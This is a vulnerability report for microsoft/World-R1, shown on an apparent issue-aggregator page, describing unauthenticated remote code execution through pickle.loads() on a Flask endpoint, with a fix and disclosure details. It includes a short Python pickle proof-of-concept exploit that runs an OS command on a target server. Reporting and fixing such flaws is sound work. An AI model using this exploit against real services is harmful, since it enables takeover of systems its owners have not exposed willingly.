[Security] Unauthenticated RCE via Pickle Deserialization in serve_general_reward.py (CWE-502)
还没有人认领这个 Issue。
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 45/100
调研方向
Start with scripts/serve_general_reward.py:29 and trace how the POST / request body is consumed by the inference endpoint. Review the service's host and communication assumptions before choosing between JSON serialization and authenticated trusted communication. Done means unauthenticated request data can no longer trigger arbitrary deserialization, with the endpoint's intended request handling preserved.
由索引模型根据 Issue 内容生成。
描述
Summary
CVSS 9.8 (Critical) — Unauthenticated Remote Code Execution via unsafe pickle.loads() on raw HTTP request body in scripts/serve_general_reward.py.
Affected Code
File: scripts/serve_general_reward.py:29
@root.route("/", methods=["POST"])
def inference():
data = request.get_data()
payload = pickle.loads(data) # ← RCE via untrusted deserialization
The Flask endpoint accepts POST requests to / with ZERO authentication. The raw HTTP body is passed directly to pickle.loads(), which executes arbitrary Python code during deserialization.
Impact
Complete server compromise. Any unauthenticated attacker on the network (the host defaults to 127.0.0.1 but can be overridden via GENERAL_REWARD_HOST env var) can:
- Execute arbitrary OS commands
- Steal ML models and training data
- Establish persistence on the server
Proof of Concept
import pickle, os, requests
class Exploit:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned_worldr1",))
payload = pickle.dumps(Exploit())
requests.post("http://TARGET:8090/", data=payload)
Fix
Replace pickle with JSON serialization (json.loads). If pickle is required for internal communication, add authentication (HMAC/API key) and only accept connections from trusted sources.
Disclosure
This project does not have Private Vulnerability Reporting enabled. Please enable it at https://github.com/microsoft/World-R1/security. For private coordination: [email protected]
CC @microsoft security team
- 主要语言
- Python
- 星标
- 427
- 派生
- 17
- PR 合并指标
- 30 天内没有已合并 PR
环境准备
这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
microsoft/World-R1 的其他 Issue
查看 microsoft/World-R1 的全部 Issue
相似的 Issue
-
json_params_matcher fails on falsy top-level JSON primitives (0, False, "")可能已有人在做 @mayureshsonawane17 今天认领。 未关闭Waiting for: Product Owner
难度 2/5 1-3 小时 新手友好度 84/100
维护者通常 5 天内回复
-
难度 2/5 1-3 小时 新手友好度 75/100
维护者通常 1 天内回复
-
难度 1/5 1 小时以内 新手友好度 88/100
bojieli/ai-agent-book#1169 ·
维护者通常 1 天内回复
-
priority:low ready-for-dev
难度 2/5 1-3 小时 新手友好度 78/100
OpenHands/extensions#738 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 85/100
micronaut-projects/micronaut-core#13677 ·
维护者通常 1 天内回复